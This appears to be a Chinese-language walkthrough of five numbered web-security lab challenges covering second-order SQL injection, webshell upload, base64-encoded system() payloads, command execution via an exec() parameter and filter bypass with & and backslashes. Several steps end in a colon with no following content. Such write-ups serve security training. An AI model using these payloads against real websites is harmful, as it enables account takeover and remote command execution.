一、34031(二次sql注入)
和34021一毛一样
1、注册特殊字符用户,比如'"*--#,注册成功,说明注册登录页面没有sql注入漏洞;进入后重置密码,不成功,说明有sql注入漏洞,重置密码没有重新输入用户名的操作,说明重置密码的updata语句中,引入了注册的username,导致语句被注释;
2、注册admin'#+随便一个字符,比如admin'#1,设置密码,进入后重置密码,成功,说明单引号可以将updata语句闭合,#后面字符均无用,也就是成功将admin用户的密码重置;
3、使用admin,刚刚重置的密码登录成功,拿到key。
二、34032(文件上传)
思路(同34022):
1、上传含有一句话木马的jpg文件,用burpsuite拦截;
2、发送给repeater,测试被注释掉的内容,直到成功发送,记得更改后缀名为php文件;
3、上传成功后url查看测试,answord新建数据,测试成功后,进入目录找key.php文件。
三、34033(文件包含)
1、查看34033/start/view/html页面源代码:
2、对里面的base64编码进行解码:
输入中遇到Hello字符,则将z0的内容进行base64编码后提交执行
3、提交system('ls')查看当前目录:
Hello=1&z0=system('ls');
base64编码:
Hello=1&z0=c3lzdGVtKCdscycpOw==
未发现key文件,继续查看上一层目录:
Hello=1&z0=system('ls ../');
base64编码:
Hello=1&z0=c3lzdGVtKCdscyAuLi8nKTs=
发现key文件
查看,源代码页找到key:
Hello=1&z0=system('cat ../key.php');
base64编码:
Hello=1&z0=c3lzdGVtKCdjYXQgLi4va2V5LnBocCcpOw==
四、34034(代码审计)
1、题目出现一段代码,如果提交中有cmd而且cmd的长度小于30,那么就用exec命令执行cmd:
2、执行命令 cmd=ls,查看文件目录:
34034/start/vul.php?cmd=ls
3、执行后发现执行结果不会显示在当前面,那就让执行结果显示在一个新的html页面:
34034/start/vul.php?cmd=ls>x.html
然后访问x.html的url,发现key值:
五、34035(命令执行)
1、尝试|、ls、grep、cat均被屏蔽,大小写绕过也失败;
2、用&代替|可以通过:
3、对于必须使用,无法绕过的命令,可以在中间加\绕过:
查看上一级:
发现key,获取key,再次被屏蔽,说明文件名包含敏感字符,由于该文件中k开头文件只有kay.php,那么使用k*代替:
4、成功,查看源代码key: